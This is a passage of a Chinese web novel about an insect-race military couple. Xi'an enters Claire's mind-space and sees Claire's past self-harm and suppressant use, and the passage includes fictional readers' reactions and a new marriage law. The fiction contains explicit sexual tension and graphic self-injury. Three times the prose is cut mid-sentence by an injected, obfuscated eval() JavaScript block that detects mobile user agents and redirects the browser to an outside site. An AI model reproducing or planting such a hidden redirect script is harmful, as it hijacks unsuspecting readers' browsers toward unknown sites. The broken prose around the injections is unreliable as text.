他可以配合克莱尔的爱好,跟他玩点小晴趣。 但绝不包括在对方满身抗拒的情况下强行做那种事。 见克莱尔眼眶泛红,紧咬牙关,努力在信息素中维持清醒。 想起他那糟糕的精神状况…… 席安微凝眉,终是没跟他再僵持下去。 “先给你做精神梳理,剩下的事之后再说。” 席安沉着脸道。 说着将他重新推倒。 克莱尔顺从倒下,仰面躺倒,像是愿意任他施为。 然而当席安倾身靠近,手覆在克莱尔浴袍遮盖的腹肌上时,感受到底下的肌肉骤然紧绷。 抗拒得如此明显。 “呵。” 席安冷哼一声。 克莱尔瞪大了眼,盯着自己紧绷的腹部,比他更加不可置信和惊慌。 想要控制身体放松下来,却根本做不到。 他昏了头地出主意: “注射肌肉松弛剂,就能软下来……” “闭嘴!” 席安不想听他说下去,恼怒瞪他。 “我对睡一具死尸没兴趣!” “等解决完你的精神问题,你再给我解释。给不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679370|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出合理的理由,你就死定了!” 席安恶狠狠说着,强大的精神力如潮水般朝克莱尔涌去,强行破开了他的精神域。 “……” 其实根本没遇到抵抗。 克莱尔的身体不让他碰,精神域倒是对他门户大开。 席安气得咬牙。 再次确认克莱尔就是只想要他的精神梳理,根本不想跟他睡觉。 连最基础的婚内夫夫义务都不愿意履行! 他刚才就该直接咬死他。 席安恶狠狠磨牙,忍着怒火和委屈深入克莱尔的精神域,直奔他的精神内景。 这是一架……机甲。 立与茫茫宇宙星海中的暗红机甲。 不是克莱尔的机甲。 而是席安的专属座驾。 席安懵了一瞬。 进入之前,他想过自己或许会看到被克莱尔当成家的第九军区,想过克莱尔远征的战场或军舰,也想过会看到克莱尔自己的机甲…… 可为什么是他的机甲? 克莱尔的精神内景……为什么是他的机甲的模样? 带着疑惑,精神力进入残破的机甲内部,轻车熟路地来到驾驶舱。 在这里,他看到了蜷缩在悬浮椅上、脸颊发烫、昏睡醒的自己。 还有在驾驶位上专注操纵机甲的克莱尔。 克莱尔的手在操作台上快速移动,操作让虫眼花缭乱,光屏显示的机甲数据不断变动。 左下角的雷达系统上,多如星辰的敌军红点闪烁不定。 全息视野中,天伽军舰紧追不舍。 看到熟悉的天伽军舰,席安顿时想起了前因后果。 那是他进入第九军区的第二年。 跟着克莱尔带领的部队一起执行巡航任务。 军方不让雄虫上战场,但像是这样危险系数低的巡航任务,雄虫还是能参加的。 危险系数再低的任务,倒霉起来,也能碰上敌军舰队骑脸。 他们乘坐的飞船在天伽炮火轰炸下受损,能源告急,只能选择驾驶机甲突围。 这是席安的第一次机甲实战,他紧张得不行,握着精神连接操纵杆的手都是抖的。 但克莱尔的机甲一直护在他身前。 同队的其他军雌也围绕在四周保护着他。 席安渐渐冷静下来,找回状态。 随后靠着出色的射击技术和精神力,远距离干掉了几架天伽的机甲。 他调动全部精神力,全身心地投入这场战斗,也越发得心应手,甚至成功击落了几艘小型追击舰,很是鼓舞虫心。 他能感觉到实战带给他的蜕变。 但蜕变过头了。 或许是危险带来的压力,或许精神力到达了某个阈值,总之……他突破了。 从A级到A+,迈入超A行列。 这个突破来得实在不凑巧。 他们还在天伽舰队的包围中,稍有不慎就可能丧命。 然而他却在这时,因等级突破发起了高热,烧得意识模糊。 后面发生了什么,席安根本记不清。 只知道克莱尔放弃了他自己的机甲,进入他的机甲驾驶舱内,接手操控权,带他突围。 最后成功将他带回了第九军区…… 这些是他在医疗室里醒来时,从医生口中得知的。 克莱尔不在。 直到他出院,克莱尔也没出现。 他找不到克莱尔。 就算去问军团长,对方也只是神情复杂地告诉他,克莱尔在进行特殊的隔离训练,不见任何虫,尤其是他。 再往下追问,对方就什么都不肯说了。 席安在煎熬中等了许久,想过各种恐怖的可能。 三个月后,克莱尔重新出现在他面前。 完好无损,身体康健,一如往昔。 只是……与他更加疏远。 克莱尔冷硬疏离,刻意与他保持着距离。 甚至到了无法忍受任何肢体接触的地步。 ——仅指他的。 克莱尔能和其他战友一起对练、肉身搏斗、拍着肩膀谈笑。 可他……就连靠近都会引起克莱尔蹙眉。 总是没说几句话,对方就会找借口匆匆离开。 席安一直认为,克莱尔变得如此冷淡,是因为他拖后腿了。 他在战场上晋级昏过去,成为了累赘和负担,拖累了克莱尔。 所以被讨厌了。 ……】 11. 雄虫新兵x昔日教官7 [啊?雄虫?战场?天伽舰队!?] [军方都干什么吃的!居然让雄虫去执行那么危险的任务!还让雄虫在危险的战场上突破?!] [偌大一个联邦已经没军雌了吗!需要雄虫去执行任务?] 看到文中写席安阁下曾参与巡航任务,还遭遇了天伽舰队,雌虫们都反应激烈。 那可是雄虫,珍贵的A+级雄虫。 放眼整个联邦都屈指可数,弥足珍贵!损失一个就足以让全虫族痛惜。 可珍贵的雄虫居然落入天伽舰队的包围圈,面临生死危机,这是全体雌虫的失职。 更何况,席安阁下当时还面临等级晋升! 雄虫晋升需要安全稳定的环境。 一般雄虫都会选择在自己熟悉的卧室房间里进行。 每当有雄虫要突破了,家里的雌君雌侍、双亲长辈、乃至在外的兄弟,都会专门请假回去陪伴。 哪怕只是守在雄虫的房间外,也要给雄虫安全感。 可席安阁下的突破却是在危险的战场上进行。 没有沾满自己味道的熟悉房间,也没有家虫亲属的陪伴……就一个克莱尔! 克莱尔他能做什么? 他能给雄虫阁下带来安全感吗?他保护得了雄虫吗? 于此同时,雌虫们想起了另一件重要的事。 雄虫在突破时,身体各项激素变化极大,信息素的释放不受控制,会自发地向外释放信息素。 宇宙真空环境能阻隔信息素的传播。 但在这座机甲驾驶舱里,还有一只雌虫。 一只成年的、个方面都发育正常、性谷欠旺盛的雌虫。 [靠靠靠!克莱尔这家伙!他怎么敢?!!] [原来是这样,他趁雄虫阁下觉醒,把阁下欺辱了,难怪他之后不敢见阁下!] [他居然在这里就吃到了席安阁下,我恨啊。] 一群暴怒的雌虫已经被妒火冲昏了头脑。 理智些的已经感到无语了。 [你们清醒点,这里是战场,后边就是天伽舰队的追击,可不是什么能进行雌雄交酉己的场所。这时候去睡雄虫,是连命都不要了吗?] 一般虫在这种情况下还真清醒不起来。 A+级的雄虫信息素谁能抵抗? 雌虫在封闭的驾驶舱内,闻到这信息素,只会浑身发软,只剩下一处硬。 恨不得立刻被雄虫填满,被标记。 什么理智,什么规矩,都抛到了脑后。 只剩下原始的交酉己本能。 这会就算被捅几刀,雌虫都感觉不到疼。 更不用提去关注隔着宇宙星海的天伽战舰。 没有虫认为克莱尔能在这样的情况下带着雄虫离开。 只能是好运气遇上了救援部队。 【“克莱尔……” 席安听到“自己”在唤他。 精神内景呈现的机甲驾驶舱中,红色头发的雄虫蜷缩在悬浮椅上,双目紧闭,面颊醇红,微张着唇,轻吐出一个名字。 哪怕席安此时只是精神体状态,也能清晰感受到空气中甜蜜的雄虫信息素。 信息素充斥了整个驾驶舱,暧.昧而誘惑的甜意几乎化成实质。 坐在操控台前的克莱尔面色涨红,呼吸急促,座椅似乎已经被濡濕,军裤下隆起夸张的一团。 却仍然抽空回应了句“我在”。 声音低沉磁性,透着隐忍的沉闷,还有一丝压抑的低喘与气音。 在这里的席安明明只是一个精神体,却感觉耳朵烧了起来。 他从没见过克莱尔这个样子。 让他不敢看。 却又忍不住再看。 甚至都忘了自己进入克莱尔精神域的目的。 精神内景里的“信息素”似乎都影响到了他。 他忍不住想,克莱尔抱他了吗? 吃他了吗?还是骑了? 席安眸光晶亮闪烁,心里紧张又忐忑。 一方面觉得自己可能在无意识时失身了。 倒也没有什么负面情绪,更多是羞赧和遗憾。 遗憾自己对此毫无记忆。 另一方面又觉得这里太危险了。 天伽军队还紧咬在后边,若是克莱尔与他在这里发生关系,他们肯定逃不过天伽舰队的追击。 他很担心克莱尔的安危。 但在已知的过往中,克莱尔是成功将他带回去了的。 那是既定的事实。 他们两个都平安回去了,没有生命危险。 这让席安放下心。 又忍不住想,克莱尔是怎么把他带回去的? 后方追击的天伽舰队,机甲驾驶舱里发着高热、散发信息素的雄虫……这怎么看都是一个死局。 有援军吗? 不,报告中并未提起。 正猜测着,席安听到克莱尔发出一声让虫耳朵都酥了的呻.吟。 他下意识抬手想摸耳朵,就看到克莱尔从空间纽中取出一根针剂,狠狠扎在手臂上,表情狰狞。 席安吓得白了脸。 那是军用的信息素抑制剂。 能让雌虫快速从发晴的状态下冷静下来。 但那滋味绝不好受。 那只握着针管的手还是颤的,但雌虫打药的动作毫不犹豫,瞬息清空了一管药。 克莱尔重重喘了声,抑制剂起效的疼痛让他面上血色尽褪,冷汗直冒。 他紧咬牙关,一声不吭,拔出空了针管丢下。 他没往下看一眼,紧盯光屏上的数据,继续操作机甲。 座椅旁的地面上,散落着三根同样的针管。 席安愣愣看着那散落一地的针管,惊得捂住了嘴。 克莱尔一直靠着注射抑制剂维持理智。 他没法想象,克莱尔是怎么在A+级雄虫的信息素笼罩下,依靠理智和意志力一次次给自己注射抑制剂,又是怎么顶着抑制剂带来的痛苦,操作机甲,与天伽军周旋交锋。 他们的适配度还那么高,他的信息素对克莱尔的影响只会更大。 而这已经不是克莱尔第一次注射。 短时间内注射这么多抑制剂,其中的痛苦可想而知,无异于一场基因凌迟。 席安眼前模糊。 这些都是他从不知道的过往。 没有任何虫告诉他。 医生没有,第九军团的军雌没有,克莱尔也没有。 在克莱尔又一次将针剂扎下时,席安下意识上前,伸手想要阻止。 针剂穿过了他的手,就如穿过虚无的空气。 席安看着这一幕,感到无比痛苦。 他只是一个入侵的精神体而已。 他什么都阻止不了,更改变不了已经发生的事实。 席安没有看到,克莱尔被汗染濕的睫毛颤了颤,目光有一瞬汇聚在他脸上。 早在雄虫出现在机甲里时,他就发现了他。 这个跟席安一模一样的“幻象”,让他感到自己的意识和理智岌岌可危。 这已经是最后一支抑制剂了,他可能撑不到将席安带回去。 但他绝对不能伤害席安。 也绝不能让席安落入天伽手里。 他知道天伽雄性的处境,而像这种从敌国掠夺过来的雄性,天伽更加不会珍惜。 以席安的骄傲,他绝不会选择屈辱地活着。 克莱尔用力闭了下眼,将针剂推入。 他没再看身旁的“幻象”,紧抿着唇,不发一言,继续驾驶着机甲。 他凭借操作躲过天伽的炮火,并在走位中反杀了两架天伽追击舰。 操作漂亮得可以上军部的教学集锦。 克莱尔无心想那些,这对他来说,是真正的生死存亡危机。 稍有不慎,就会带着雄虫一起湮灭于星空。 他可以死。 但席安不行。 克莱尔不敢有丝毫放松。 也不敢沉迷于诱虫坠落的幻象。 但身边的“幻象”在哭。 他盯着他手臂上的针孔,吧嗒吧嗒掉眼泪。 在看到晶莹的眼泪从那张与席安一般无二的脸上滑过时,克莱尔仿佛听到了脑海中名为理智的弦彻底崩断的声音。 克莱尔快要疯掉了。 手上的操作差点出错。 机甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679371|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以一百三十五度的转弯在太空中呈现了一段滑稽的漂移,恰好躲过一枚天伽的导弹。 克莱尔强迫自己冷静,却难以做到。 他可以在席安的信息素下竭力让自己保持清醒,可以承受注射抑制剂带来的痛苦,却受不住席安的眼泪。 “别哭,我会把你平安带回去。” 克莱尔低声安抚,声音虽轻,却很坚定。 哪怕押上自己的性命,他也要把席安带回去。 席安眼泪朦胧,隔着眼里的水雾看了他半响,才意识到克莱尔是在跟他说话。 “你能看到我?” 克莱尔当然能看到他。 这里是克莱尔的精神内景,是他过往记忆的衍生,但又非过往本身,承载着克莱尔的自我意识。 不是过往那个与天伽军周旋、带他逃生的克莱尔看到了他。 而是克莱尔精神域中潜藏的自我意识发现了他。 席安鼻尖酸涩。 他清楚过往那些事已经发生,他再怎么也改变不了。 他现在能做的只有给克莱尔做精神梳理,修好克莱尔受损的精神域,让他好受些。 他抹了把泪,对克莱尔道: “我这就给你做精神梳理。” 克莱尔正想说不用,就见“幻象”跑出驾驶舱,去修机甲了。 克莱尔:“?” 说好的精神梳理呢? 不管怎么样,对方没哭了,也没继续站在他身边,让他松了口气。 他是真的怕自己忍不住,受不住诱.惑,兽谷欠大发,把席安睡了。 抑制剂能维持的时间越来越短,克莱尔很快感觉到自己的身体又熱了起来。 又熱又空,濕润粘稠,渴望被雄虫贯穿填满。 驾驶舱内信息素浓郁。 他能听到席安清浅的呼吸声,每一次呼吸都带来更甜蜜热烈的信息素。 席安睡得并不安稳,眉头紧凝着,不时会扭动调整姿势,身体摩擦过衣物的声音在克莱尔耳中被放大了许多倍。 克莱尔克制住自己不往那边看,却仍旧不自觉吞咽唾沫。 想要被按在驾驶位上进入,被雄虫米且暴草开,想要身上和深处都染上席安的信息素。 他紧咬舌尖,口中扩散开的血腥味短暂挽回他的理智。 “克莱尔……” 昏睡中的雄虫不安地唤了声。 晋级时需要安全感。 需要安稳的环境,和家属的守护。 克莱尔什么都给不了他,只能在他唤他的时候,一遍遍地重复“我在”。 每每得到他的回应,雄虫的呼吸就会变得平缓,紧蹙的眉头也得以松开。 他身上披着克莱尔的军装外套。 他将半张莹白的脸缩进带着克莱尔味道的外套里,再度沉沉睡去。 与此同时,克莱尔的面色差到极致。 药效彻底消退,身体的空虚和渴望到达了极点,大脑在信息素的影响下昏昏沉沉,热意在身体里沸腾。 再这样下去,他会对雄虫做出无法挽回的事情。 克莱尔的右手一瞬覆盖上银白的虫甲,寒光划过,军裤被割开,数道深可见骨的伤口出现在他大腿上。 鲜血在一瞬间涌出,浸染了军裤,顺着座椅小腿流淌地面,在他脚下汇聚成一个血泊。 强烈的疼痛唤醒了克莱尔的理智,他紧绷着脸,平视前方,对身上的伤仿若未觉,用染血的手继续操控机甲。 雌虫的自我修复能力太强。 伤口不一会就会愈合,那就需要再度制造新的伤,产生新的疼痛。 那惨烈的疼意让克莱尔觉得畅快。 鲜血和疼痛唤醒了雌虫基因中的嗜血弑杀的本能,克莱尔冰蓝的双眸染上猩红,他紧盯着全息视野中的天伽军舰,机甲的操作越发极致狠厉。 然而当蜷缩在他军装外套下的雄虫唤他时,他还是会放柔声音,一遍遍回答“我在”。 不知多少次划开身体皮肉,延绵不断的鲜血在驾驶舱的地面汇聚成猩红的湖泊。 当席安一路修复着精神域,返回驾驶舱,看到的就是这宛如炼狱般的场景。 ……】 12. 星网热议 看完更新的读者集体静默。 没有虫相信有雌虫能在A+级雄虫的信息素里保持清醒。 克莱尔当然也做不到。 但他偏偏做到了。 宁愿注射大量抑制剂,忍受如同基因崩解般的痛苦;在没有抑制剂后用利爪划开自己的身体皮肉,一次次用鲜血和疼痛唤醒自己的理智……也不曾伤害雄虫。 他面临的不仅是雄虫信息素的诱.惑,和身体上的痛苦煎熬,还有天伽的追击。 可他竟然真的在这种完全不可能的情况下,把席安平安带了回去。 [克莱尔……我敬他是只雌虫,真正英勇的军雌。] [我再也不骂克莱尔了,他在我这享有终身免喷权。] [我之前还那么说他,我真该死啊。] [半夜想起来都要扇自己两巴掌。] [难怪席安阁下会选择他。如果是这样的话,一点也不难理解。] 雄虫们对此的体会更深一些。 他们是雄虫,清楚地知道高等雄虫的信息素对雌虫的吸引力有多大。 足以让平日里最高冷肃穆的雌虫抛下一切,失去自我,放弃理智和尊严,匍匐在地,丑态毕露,沦为欲.望的淫兽。 雌虫认为雄虫没有爱。 雄虫同样认为雌虫没有爱。 那能说是爱吗?只不过是对信息素的狂热迷恋。 换一只高等雄虫他们同样会如此。 卑躬屈膝,摇臀祈怜。 正是清楚高等雄虫信息素的影响有多强,才更被克莱尔的所作所为震撼。 他们好像明白席安为什么会喜欢克莱尔了。 这样的守护与情感,没有虫能不为此心动。 [可是……席安之前并不知道克莱尔做了这些啊。] [对哦,那他为什么喜欢克莱尔?] [可能是因为克莱尔本身就很好,他才喜欢克莱尔,而不是因为克莱尔对他很好。] 好像能理解,但又不太能理解。 他们迫不及待想看后续的发展,想看席安和克莱尔的故事。 [作者快更新!你已经休息了5分钟了,该起来更下一章了!(打赏宇宙飞船x1)] [我一般是不看这种血糊糊的书的,但这个太心疼了,赶快把克莱尔治好吧(大哭)。然后在驾驶椅上哔——他,满足克莱尔的幻想。] 登录看读者留言的安若:“???” 不愧是虫族,黄.暴得一如既往,一点都不出乎意料。 其他雌虫读者也丝毫不觉得这样的评论有问题。 看,阁下想的还是把克莱尔治疗好再上呢,都没有让席安阁下直接就着伤口在血泊里上。 愿意睡雌虫的雄虫就是好雄虫,是道德高尚的、值得尊敬的。 能在睡完后顺手做个精神梳理的,那更是特别特别好的雄虫。 安若:“……” 不是很想承认这是自己写出来的小说世界。 雌虫对雄虫的要求低到发指。 这种情况下,还能指望雄虫能有多高尚呢? 安若退出评论区,正准备去清点一下自己最近收到的打赏,上方就滑出一条新闻通知,他手快点了进去。 《最新法案:已婚雄虫必须定期为家中雌虫进行精神梳理》 包括雌君、雌侍,以及雌虫幼崽。 至于雌奴?对不起,联邦官方不承认雌奴,没有雌奴。 法案还表明,如果雄虫等级太低,达不到为雌虫进行精神梳理的标准,雌虫可申请解除婚姻关系。 安若都震惊了。 虫族居然还能有这样的法案?真是不可思议。 不过确实有那么一点模糊的印象…… 原文的雄虫主角曾提到过,雄虫必须定期为家中雌虫进行精神梳理,如果已婚雌虫精神出现问题,做雄主的也会被问责。 至少在原文的时间线上,这已经是当时公认的社会常识。 这些都是尤利西斯执政期间带来的改变。 说不上全然好,但也不算全然坏。 尤利西斯一步步提升雌虫地位和权益,同时也抑制了雄虫,到了后期甚至偏激到了将雄虫全部禁锢当工具的地步。 极端到了这种程度,他当然是反派。 注定被正义的主角打倒。 刺向他的刀刚好是在他的政策下选拔和培养起来的雌虫主角。 即使是多年后的雌虫主角,也不得不肯定尤利西斯在提升雌虫地位和权益方面做出的贡献。 这部法案还只是个开始。 安若有一种身处小说篇章之内,亲眼见证剧情发展的感触。 又像是站在历史长河之中,亲身经历时代的浪潮。 一切已经开始,终将走向既定的未来。 安若不觉得自己能改变什么。 如果他还在原本的世界,他或许会以作者的身份改写一个结局。 但他在虫族监狱里。 监狱的铜墙铁壁将他与外界分隔开,他什么也做不了,外界的一切纷纷扰扰都与他无关。 如果他能活到一切终结的那一天,他或许会在监狱的囚室里,用笔记录下这一切。 写下属于尤利西斯的篇章。 他值得一个单独的篇章。 …… “《教官》更新”“精神梳理”“新法案”,三个词条一同登上星网热议前三,热度不断攀升。 雄虫们开开心心追着小说,回头就发现被偷家了。 ——这法案分明就是冲着他们来的! 必须定期给家中雌虫做精神梳理,雌君雌侍幼崽都要做,雄虫等级不够雌虫还能解除婚姻。 纳尼?big胆!!! 突然多了一堆强制工作,这让随性自由惯了的雄虫哪里受得了? 最重要的还不是法案本身,而是法案上透露出来的对雄虫的态度。 雄虫在这上面都格外敏锐。 性格暴躁的直接抄起虚拟键盘就上了,在星网上破口大骂。 其他雄虫也心里很慌。 连忙回想自己平日里有没有定期做精神梳理,跟雌君雌侍们的等级差大不大,会不会有老婆找自己离婚。 发现自己平日里做得很好的雄虫悄悄松了口气。 而确定自己没有做到法案上那些的雄虫,则一边心里发慌,一边跟着在网上骂。 骂联邦,骂议会,骂尤利西斯元帅……啊这个不敢公然骂,改骂安诺。 虽然这份法案从头到尾没提尤利西斯的名字,但只要眼睛没瞎的都看得出这法案与他有关。 “雌虫能与等级差过大、无法进行精神梳理的雄虫离婚”这一条就是铁证! 当年身为B级雄虫的安诺不知道走了什么运,娶了当时SS级的尤利西斯上将。 B级雄虫最多给S级雌虫做精神梳理,这已经是极限了。 毕竟只要进入S级,就与下面等级的虫之间隔了天堑,实力区别大得像是两个物种。 B级雄虫根本没法给SS级做精神梳理。 那只雄虫连尤利西斯上将的精神域都打不开,也根本没法进行精神梳理和标记。 雄虫在压抑中扭曲,甚至做出了家暴上将的事来,还闹得十分严重。 天知道他哪来的胆子。 现在那只雄虫锒铛入狱,一辈子都将在监狱里度过。 而他们这些在外的无辜雄虫,却要被迫承担他留下的苦果。 这怎么能不骂? 雄虫们抄起终端,直接精神力输入,打字比谁都快,把那只在监狱的雄虫骂得狗血淋头。 无辜躺枪的安若:“啊这……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679372|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许他也并不是那么无辜。 这确实是他写下的剧情,只是没想到会应验在自己身上。 算了,骂吧骂吧,反正他在监狱里,这些雄虫也不可能冲进来打他。 安若手动屏蔽掉某些骂得过于激烈的言论,通过星网实名认证后的性别标识,查看雌虫们对此事的反应。 这件事,雌虫是绝对的受益者。 未婚雌虫对法案百分百赞成,哪怕有一些替雄虫说话的,心里也是希望法案能够推行下去,哪怕打个折扣推行都可以。 已婚雌虫大多在忙着安抚雄主情绪,抽不出身来星网发言。 虫族大多慕强,等级差、信息素、精神梳理,都是很现实的问题。 哪怕虫族的性别比很大,低等级雄虫也很难跨两级娶到高等雌虫。 若是出现这种罕见的情况,要么是雄虫家里有权有势,要么是其中有什么见不得虫的手段。 当然,还有另一种几乎不被虫族相信和理解的情况——真爱。 联邦议员长卡西安正处理着法案的后续事宜,忽地收到了自家雄主的通讯,他不得不先停下手里的工作,接通通讯。 光屏上显示出雄虫的影像,白发粉瞳,像个精致的手办娃娃。只是此时,那花瓣般的粉色眼睛里盛满了泪水。 雄虫大概哭了好一会了,一见到他,那眼泪就吧嗒吧嗒往下掉,像断线的珠子。 “怎么办啊宝宝,我们的等级差大于两级,我没法给你进行精神梳理,法庭要强制我们离婚了。” “请冷静雄主,没有强制离婚。联邦不会强制任何配偶离婚,只能是雌虫提出申请,法庭才会介入。” 卡西安语速平缓地跟对面解释,看起来温和自信又淡定,很有信服力。 实际自从他看到雄虫的眼泪开始,脑子就快炸了。 卡西安这辈子最怕两只虫掉眼泪。 一个是他弟弟席安,另一个就是面前的雄虫。 他弟弟被他欺负哭了还会咬回来,也擅于去找雌父雄父告状,从小就不是会吃亏的性子。 他雄主是真的是……跟个易碎的瓷娃娃似的,一碰就碎,一碎就哭,眼泪哗啦啦往下掉,根本停不下来。 像极了某类被雄虫诟病已久的小说里的哭唧唧雄虫。 为此,卡西安还成了这类小说的忠实爱好者,经常去跟里面的雌虫取经,学习怎么哄雄虫。 他雄主天生有基因缺陷,身体格外脆弱,卡西安很怕惹他伤心。 法案发布之前,他还特意跟他雄主解释了许多遍,一再保证这个不会影响他们,打足了预防针。 但法案真正对外发布后,雄虫还是被星网上的言论吓到了,哭着来找他。 卡西安后悔自己没能陪在雄主身边。 早知道这样,他应该提前请假的。 卡西安耐心哄了很久,才哄得对面雄虫平静下来,眼泪稍歇。 晶莹的泪珠挂在纯白眼睫上,将落未落,像花瓣上的露珠,引得虫心都颤了。 雄虫揉着眼睛看向他,低低抽噎着问:“真的不会强制离婚吗?” “我保证。” 卡西安做了个发誓的手势。 雄虫这才破涕为笑,擦干净眼泪。 忽地想起什么,雄虫被水洗过的眼里露出些清透狡黠的笑意,神神秘秘道: “对了,我刚刚在星网上看到了你弟弟。” “……席安?” 卡西安疑惑。 席安不是在第九军区吗? 怎么会出现在星网上? 正困惑着,对面给他发来一个链接,他随手点开。 《教官》热议: #席安阁下结婚# #席安阁下和克莱尔是真爱# #席安阁下哭了# 卡西安:“???” 13.雄虫新兵x昔日教官8 卡西安怀疑自己已经被时代淘汰了。 不然为什么光屏上的每一个字他都看得懂、连在一起他就不知道是什么意思了呢? 卡西安浏览着光屏上的文字,结合底下的截图和讨论,终于勉强弄清了这是个什么事。 ——这是一本小说里的情节。 联邦言论自由,文娱方面尤为宽松,像这类幻想跟某位高等雄虫阁下在一起的小说有很多,但热度这么高的还是很罕见。 卡西安悄悄松了口气。 还好,只是小说。 他还以为他乖巧可虫的弟弟背着他结婚了。 应该……不会吧? 卡西安突然有那么一点不安。 席安去第九军区已经三年了。 他们家世代从政,缺乏军事方面的力量和虫脉,以前曾在这上面吃到过惨痛的教训。 家中就传下规矩,每一代都要有虫从军。 到了他们这一代,本该由身为雌虫兄长的他去的。 但他喜欢上了一只有基因缺陷的白化雄虫。 他有着S级天赋,而雄虫只有C级,他们刚相爱时,雄虫等级甚至更低,是最低等级的F。 他们之间等级差太大,对方注定无法为他进行精神梳理。 若是在其他行业,这也不算什么大问题,只要他把精神数值始终维持在80分以上就可以了。 80分以上,雌虫的精神域可以自我修复,不用依靠雄虫的精神梳理。 这对需要上战场的军雌来说显然不现实。 除非一辈子干后勤,不上前线。 但这不是家族想要的,也不是一个有野心和抱负的雌虫能接受的。 就在卡西安面临家族压力时,年仅九岁的席安突然向全家宣布,他长大后要参军。 全家都被他这突如其来的决定吓了一跳。 家里虽然需要有虫进入军界,但也没到让雄虫幼崽担负这份责任的地步。 对于雄虫幼崽,全虫族的家庭都是一个态度:只要能开开心心地长大、健康快乐就够了。 要求再高一点的,也只是希望雄虫别长得太歪。 雄虫不长歪的标准……那可太宽松了。 为了这件事,家里虫还轮番上场,给席安做思想工作,劝着哄着他,一再表示家里的情况不用雄虫小幼崽操心,小雄虫只要开开心心就好。 席安才不管这些呢。 他就是要参军。 他要以优异的成绩考上军校、顺利进入军部、成为出色的军雄、军衔晋升、走上虫生巅峰、迎娶心中男神! 全家虫:啊这……是小雄虫的可爱想法呢。 本以为只是小雄虫的童言童语,过段时间就全忘了。 结果席安竟真顺着他所计划的路走了下去,成为了一名军雄,去的还是位于边境和前线的第九军区。 对于这个弟弟,卡西安心中总是觉得亏欠。 他认为是他逃避了身为雌虫和长子的责任,而年幼的雄虫弟弟替他承担起了一切。 念及此,卡西安怀着复杂而愧疚的心情,拨打了席安的通讯。 通讯未被接听。 席安可能正在忙。 卡西安转而发消息留言,询问席安的近况。 · 今晚的星网太热闹了。 安若像一只瓜田里的猹,埋头乱蹿。 这边看看小说讨论,那边看看雄虫们骂法案,再看看雌虫们花式哄雄虫。 不管是雌虫还是雄虫的表现都极为有趣。 雌虫们一边在支持法案的帖子下点赞。 赞美法案,赞美尤利西斯元帅,赞美联邦。 转头就去雄虫的帖子下安慰雄虫。 说着“联邦强制精神梳理也太不顾忌雄虫阁下的感受了”“我最心疼雄虫阁下”“我绝对不会让我雄主这么操劳”,连头顶ID都没改。 雄虫们一边在星网上破口大骂,一边也真怕执法队为了这么点破事上门,赶紧把家里的雌虫叫过来挨个薅一遍,累得够呛。 给雌虫做精神梳理,就像是给家里的宠物定期洗澡。 像亚雌或文职工作的雌虫算小型犬,洗起来还是挺轻松的,随手就给薅了,雄虫心情好的时候也乐于把他们捞过来揉一揉。 军雌是大型犬,特别难洗,尤其是状态不好的军雌,洗一次得折腾半天,累得够呛,雄虫都不爱洗。 但完全不洗又不行,时间久了会变得脏兮兮的,还会暴躁拆家。 作为一只负责的雄虫来说,关注家里每一只雌虫的精神状态,是最基础的事情。 而某些能力不足又娶了一大群雌虫的雄虫,现在只想骂街。 一圈精神梳理下来累得快虚脱,在自己家里体验了一番被轮x的绝望。 还有雄虫在坚决抵抗。 他们绝不会因为什么法案去给雌虫做精神梳理,这是侵犯雄虫权益的,他们要坚决抵抗到底!联邦有胆就把他们抓去当精神梳理师吧! 新法案的讨论度太高,安若上蹿下跳吃着瓜,突然发现自己的小说热度掉榜二了。 小说跟新法案这种全民性的内容确实比不了。 但再掉下去,可能连前三都保不住,这样的热度错过了可就太可惜。 安若决定加更。 他将昨天就写好了的稿子稍作整理,一键发表。 #《教官》加更# #《教官》更新了# 今晚的星网热闹得像是在过年。 刚看完更新正讨论剧情的雌虫,突然又看到加更消息,立刻涌了过去。 原本忙着骂架的雄虫也懵了懵。 骂架暂停,中场休息,先追个更新再回来接着骂。 更多在星网吃瓜、不明真相的路虫也点了进去。 【驾驶舱的地面满是鲜血,金属地面被完全染红,宛如噩梦般的场景。 席安现在只是一个精神体,没有真正意义上的“嗅觉”,可来自四面八方的血腥味却瞬间侵蚀了他的所有感官。 雌虫的腿上鲜血淋漓,军裤完全破烂,大腿上覆盖着一道又一道愈合又划开的伤痕。 席安仿佛听到自己脑内响起尖锐的鸣叫。 “克莱尔!!!” 他的声音与脑海中的尖鸣重叠。 席安瞬移到了克莱尔身边。 在这个精神域里,他的思维有多快,他就有多快。 在雌虫的精神域里,雄虫是能够修补世界、创造生机、无所不能的神明。 可他的手在发抖。 面色惨白,连唇都是颤的。 